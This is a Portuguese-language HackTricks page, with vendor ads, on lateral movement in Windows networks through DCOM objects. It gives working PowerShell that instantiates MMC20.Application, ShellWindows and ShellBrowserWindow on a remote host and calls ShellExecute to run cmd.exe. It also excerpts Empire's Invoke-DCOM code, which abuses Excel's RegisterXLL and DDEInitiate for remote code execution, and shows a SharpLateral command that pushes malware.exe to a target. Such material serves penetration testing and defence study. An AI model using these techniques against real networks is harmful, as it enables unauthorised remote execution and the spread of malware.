hacktricks/windows-hardening/lateral-movement/dcom-exec.md

14 KiB

DCOM Exec

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rapidamente. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. Experimente gratuitamente hoje.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


MMC20.Application

DCOM (Distributed Component Object Model) são objetos interessantes devido à capacidade de interagir com os objetos pela rede. A Microsoft tem uma boa documentação sobre DCOM aqui e sobre COM aqui. Você pode encontrar uma lista sólida de aplicações DCOM usando PowerShell, executando Get-CimInstance Win32_DCOMApplication.

O objeto COM Classe de Aplicação MMC (MMC20.Application) permite que você crie scripts para componentes de operações de snap-in do MMC. Ao enumerar os diferentes métodos e propriedades dentro deste objeto COM, notei que há um método chamado ExecuteShellCommand em Document.ActiveView.

Você pode ler mais sobre esse método aqui. Até agora, temos uma aplicação DCOM que podemos acessar pela rede e que pode executar comandos. A peça final é aproveitar esta aplicação DCOM e o método ExecuteShellCommand para obter execução de código em um host remoto.

Felizmente, como administrador, você pode interagir remotamente com DCOM com PowerShell usando "[activator]::CreateInstance([type]::GetTypeFromProgID". Tudo o que você precisa fazer é fornecer um DCOM ProgID e um endereço IP. Em seguida, ele fornecerá uma instância desse objeto COM remotamente:

Então é possível invocar o método ExecuteShellCommand para iniciar um processo no host remoto:

ShellWindows & ShellBrowserWindow

O objeto MMC20.Application não tinha "LaunchPermissions" explícitas, resultando no conjunto de permissões padrão que permite acesso aos Administradores:

Você pode ler mais sobre esse tópico aqui.
Ver quais outros objetos que não têm LaunchPermission explícita pode ser feito usando o OleView .NET de @tiraniddo, que possui excelentes filtros Python (entre outras coisas). Neste caso, podemos filtrar todos os objetos que não têm Launch Permission explícita. Ao fazer isso, dois objetos se destacaram para mim: ShellBrowserWindow e ShellWindows:

Outra maneira de identificar objetos-alvo potenciais é procurar pelo valor LaunchPermission ausente nas chaves em HKCR:\AppID\{guid}. Um objeto com Launch Permissions definidas aparecerá como abaixo, com dados representando a ACL do objeto em formato binário:

Aqueles sem LaunchPermission explícita estarão faltando essa entrada específica no registro.

ShellWindows

O primeiro objeto explorado foi ShellWindows. Como não há ProgID associado a este objeto, podemos usar o método .NET Type.GetTypeFromCLSID emparelhado com o método Activator.CreateInstance para instanciar o objeto via seu AppID em um host remoto. Para fazer isso, precisamos obter o CLSID para o objeto ShellWindows, o que pode ser feito usando o OleView .NET também:

shellwindow_classid

Como você pode ver abaixo, o campo "Launch Permission" está em branco, o que significa que nenhuma permissão explícita está definida.

screen-shot-2017-01-23-at-4-12-24-pm

Agora que temos o CLSID, podemos instanciar o objeto em um alvo remoto:

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") #9BA05972-F6A8-11CF-A442-00A0C90A8F39
$obj = [System.Activator]::CreateInstance($com)

Com o objeto instanciado no host remoto, podemos interagir com ele e invocar quaisquer métodos que quisermos. O handle retornado para o objeto revela vários métodos e propriedades, com os quais não podemos interagir. Para alcançar uma interação real com o host remoto, precisamos acessar o método WindowsShell.Item, que nos devolverá um objeto que representa a janela do shell do Windows:

$item = $obj.Item()
Com um controle total sobre a Janela Shell, agora podemos acessar todos os métodos/propriedades esperados que são expostos. Após analisar esses métodos, **`Document.Application.ShellExecute`** se destacou. Certifique-se de seguir os requisitos de parâmetros para o método, que estão documentados [aqui](https://msdn.microsoft.com/en-us/library/windows/desktop/gg537745\(v=vs.85\).aspx).
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Como você pode ver acima, nosso comando foi executado com sucesso em um host remoto.

ShellBrowserWindow

Este objeto específico não existe no Windows 7, o que torna seu uso para movimento lateral um pouco mais limitado do que o objeto "ShellWindows", que eu testei com sucesso no Win7-Win10.

Com base na minha enumeração deste objeto, parece fornecer efetivamente uma interface para a janela do Explorer, assim como o objeto anterior. Para instanciar este objeto, precisamos obter seu CLSID. Semelhante ao acima, podemos usar OleView .NET:

shellbrowser_classid

Novamente, observe o campo de Permissão de Lançamento em branco:

screen-shot-2017-01-23-at-4-13-52-pm

Com o CLSID, podemos repetir os passos dados no objeto anterior para instanciar o objeto e chamar o mesmo método:

$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "<IP>")
$obj = [System.Activator]::CreateInstance($com)

$obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\system32", $null, 0)

Como você pode ver, o comando foi executado com sucesso no alvo remoto.

Uma vez que este objeto interage diretamente com o shell do Windows, não precisamos invocar o método "ShellWindows.Item", como no objeto anterior.

Embora esses dois objetos DCOM possam ser usados para executar comandos shell em um host remoto, existem muitos outros métodos interessantes que podem ser usados para enumerar ou manipular um alvo remoto. Alguns desses métodos incluem:

  • Document.Application.ServiceStart()
  • Document.Application.ServiceStop()
  • Document.Application.IsServiceRunning()
  • Document.Application.ShutDownWindows()
  • Document.Application.GetSystemInformation()

ExcelDDE & RegisterXLL

De maneira semelhante, é possível mover-se lateralmente abusando de objetos DCOM do Excel, para mais informações leia https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom

# Chunk of code from https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1
## You can see here how to abuse excel for RCE
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

Ferramentas Automáticas

  • O script Powershell Invoke-DCOM.ps1 permite invocar facilmente todos os métodos comentados para executar código em outras máquinas.
  • Você também pode usar o SharpLateral:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Referências

Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rápido. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. Experimente gratuitamente hoje.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Aprenda hacking em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: